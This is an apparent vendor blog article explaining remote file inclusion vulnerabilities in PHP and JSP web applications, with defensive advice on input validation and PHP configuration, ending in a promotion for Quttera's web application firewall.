If a Web application includes remote files, it adds an element of risk. A user or intruder who can control what is included can modify the site, grab personal information, or launch an attack on users. Hostile remote file inclusion (RFI) happens when the server lets an unchecked URI specify the source of included data. The imported file can do almost anything a local file could. Developers and system administrators need to take care that unknown content and code from another site can't run on the server.

Inclusion of remote executable code, such as PHP, lets someone else's files run as if they were present on the server. The runtime system won't distinguish between local code and remote code that's imported this way. It has all the privileges which the Web application does. An intruder who gets remote code to run this way can:

• Obtain confidential information from the files or database and send it to the intruder's server.
• Add or change links on a page.
• Deface the page with misleading or derogatory information.
• Launch a cross-site scripting (XSS) attack.
• Attempt to deliver malware to the user.

File inclusion attacks can use either local or remote files, with similar effects. The main differences are in the techniques to set them up.

Local file inclusion requires getting a file onto the target site and bypassing any protections against hostile files. Once the file is present, there are a number of ways to invoke it and do damage. Web applications tend to trust local files.

Remote file inclusion is more difficult but offers the attacker more flexibility. It evades malware scans since the file isn't on the local server. It can be customized at runtime and could potentially be different each time it's invoked. However, remote files are untrusted by default, so getting the server to include one requires more trickery.

Exploiting an RFI vulnerability usually consists of giving a URL to an application that uses it directly. It's possible when the developer forgets that any input from the browser shouldn't be trusted. A Web form may include a hidden field or a menu selection that specifies the URL. This is a very dangerous practice since a custom POST request can substitute other values. The developer intends to allow only certain paths, but a specially constructed request can substitute a different one.

When people working with website security think of RFI, they're usually thinking of executable code inclusion. However, remote HTML inclusion is part of the picture as well. Importing remote files is a routine practice and normally not considered dangerous. It's the way Web servers bring in frames, images, and JavaScript and CSS libraries from other locations.

Importing remote content can pose a risk in some situations. If the application specifies the URLs in a frame or image tag programmatically, an attacker might be able to inject a hostile link. That technique won't execute server-side code, but it could modify the page as the user sees it. The risks include defacement and XSS.

The most common source of hostile RFI is careless PHP code. Several commands in the language can bring in code from an arbitrary link. It's treated as if it's directly present in the local PHP file, so it can do all kinds of damage. The commands which can import remote files are:

• include
• include_once
• require
• require_once
• fopen
• file_get_contents

Importing PHP code isn't the only possibility. If the application launches shell scripts, an attacker could potentially feed it a remote file that will run in the server's command line environment. It could steal information, alter files, and connect to a command-and-control server.

PHP has two settings which control whether it will accept remote URIs. They are allow_url_fopen and allow_url_include. They both have to be set to "on" to allow remote file inclusion. Turning them off when they aren't needed significantly reduces the risk.

Java Server Pages (JSP) may be vulnerable to RFI attacks. The core import tag (not to be confused with the import directive) can bring content from any URL to a page. If an attacker can manipulate the URL, it can import hostile Java code. The situation is similar to remote PHP inclusion.

Other runtime systems for Web servers, such as ASP and CGI, can theoretically be used to import remote code, but they're difficult to exploit.

One piece of advice covers many vulnerabilities: Never trust input from the client without validating it! This includes URLs, POST requests, cookies, and client-side storage. If it comes from a client machine outside your control, it can alter any of its data. What it sends may not obey your rules.

For avoiding unintended RFI, a more specific rule is never to accept raw client input as a data source. It might give a URL where you thought only a local file specification was possible. The application should determine which sources are acceptable. The user input should function, at most, as a selector.

PHP applications should set allow_url_fopen and allow_url_include to "off," unless there's an overwhelming reason to do otherwise. It's safer to download files to the server and use them locally, and performance is better that way.

Penetration testing will catch many coding errors that open this risk. Testers will use devious techniques to get the server to load remote files. If they succeed, you can fix the problem before any outsider can do the same.

Making the server safe is one part of a defense in depth. Another is using a web application firewall. Even diligent developers sometimes miss a vulnerability. Remote file inclusion entails sending a request out on the Internet. Quttera's WAF will examine all such requests and block any that its rules flag as dangerous. Your administrators will be notified, so they can identify and fix the vulnerability.

The Quttera WAF is part of the ThreatSign service. Subscribing to ThreatSign will keep your site safe from many risks, increase its reliability, and boost customer confidence.